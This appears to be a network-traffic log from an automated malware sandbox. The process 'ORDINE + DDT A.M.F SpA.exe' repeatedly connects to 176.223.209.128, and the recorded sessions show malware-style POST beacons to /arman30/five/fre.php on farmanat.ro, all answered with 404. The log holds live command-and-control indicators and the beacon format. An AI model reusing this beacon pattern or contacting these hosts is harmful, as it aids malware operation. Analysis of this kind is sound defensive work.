Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
652	192.168.11.20	50497	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
653	192.168.11.20	50498	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
654	192.168.11.20	50499	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
655	192.168.11.20	50500	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
656	192.168.11.20	50501	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
657	192.168.11.20	50502	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
658	192.168.11.20	50503	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
659	192.168.11.20	50504	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.11.20	49902	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:43.112375975 CET	6400	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:43.198436975 CET	6401	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
660	192.168.11.20	50505	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
661	192.168.11.20	50506	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
662	192.168.11.20	50507	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
663	192.168.11.20	50508	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
664	192.168.11.20	50509	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
665	192.168.11.20	50510	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
666	192.168.11.20	50511	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
667	192.168.11.20	50512	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
668	192.168.11.20	50513	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
669	192.168.11.20	50514	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.11.20	49903	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:43.645826101 CET	6402	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:43.728280067 CET	6402	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
670	192.168.11.20	50515	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
671	192.168.11.20	50516	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
672	192.168.11.20	50517	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
673	192.168.11.20	50518	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
674	192.168.11.20	50519	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
675	192.168.11.20	50520	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
676	192.168.11.20	50521	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
677	192.168.11.20	50522	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
678	192.168.11.20	50523	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
679	192.168.11.20	50524	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.11.20	49904	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:44.201690912 CET	6403	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:44.288614988 CET	6403	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
680	192.168.11.20	50525	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
681	192.168.11.20	50526	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
682	192.168.11.20	50527	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
683	192.168.11.20	50528	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
684	192.168.11.20	50529	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
685	192.168.11.20	50530	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
686	192.168.11.20	50531	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
687	192.168.11.20	50532	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
688	192.168.11.20	50533	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
689	192.168.11.20	50534	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.11.20	49905	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:44.811528921 CET	6405	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:44.900487900 CET	6405	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
690	192.168.11.20	50535	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
691	192.168.11.20	50536	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
692	192.168.11.20	50537	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
693	192.168.11.20	50538	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
694	192.168.11.20	50539	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
695	192.168.11.20	50540	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
696	192.168.11.20	50541	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
697	192.168.11.20	50542	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
698	192.168.11.20	50543	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
699	192.168.11.20	50544	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.11.20	49826	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:04.640363932 CET	6308	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:04.724145889 CET	6309	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.11.20	49906	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:45.392079115 CET	6406	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:45.483957052 CET	6407	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
700	192.168.11.20	50545	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
701	192.168.11.20	50546	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
702	192.168.11.20	50547	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
703	192.168.11.20	50548	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
704	192.168.11.20	50549	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
705	192.168.11.20	50553	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
706	192.168.11.20	50554	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
707	192.168.11.20	50555	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
708	192.168.11.20	50556	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
709	192.168.11.20	50557	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.11.20	49907	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:45.989299059 CET	6408	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:46.079950094 CET	6408	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
710	192.168.11.20	50558	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
711	192.168.11.20	50559	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
712	192.168.11.20	50560	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
713	192.168.11.20	50561	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
714	192.168.11.20	50562	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
715	192.168.11.20	50563	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
716	192.168.11.20	50564	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
717	192.168.11.20	50565	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
718	192.168.11.20	50566	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
719	192.168.11.20	50567	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.11.20	49908	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:46.527621031 CET	6409	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:46.613563061 CET	6409	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
720	192.168.11.20	50568	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
721	192.168.11.20	50569	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
722	192.168.11.20	50570	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
723	192.168.11.20	50571	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
724	192.168.11.20	50572	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
725	192.168.11.20	50573	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
726	192.168.11.20	50574	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
727	192.168.11.20	50575	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
728	192.168.11.20	50576	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
729	192.168.11.20	50577	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.11.20	49909	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:47.107852936 CET	6410	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:47.196496010 CET	6411	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:46 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
730	192.168.11.20	50578	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
731	192.168.11.20	50579	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
732	192.168.11.20	50580	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
733	192.168.11.20	50581	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
734	192.168.11.20	50582	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
735	192.168.11.20	50583	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
736	192.168.11.20	50584	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
737	192.168.11.20	50585	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
738	192.168.11.20	50586	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
739	192.168.11.20	50587	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.11.20	49911	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:47.685832024 CET	6418	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:47.774413109 CET	6419	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:46 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
740	192.168.11.20	50588	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
741	192.168.11.20	50589	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
742	192.168.11.20	50590	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
743	192.168.11.20	50591	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
744	192.168.11.20	50592	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
745	192.168.11.20	50593	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

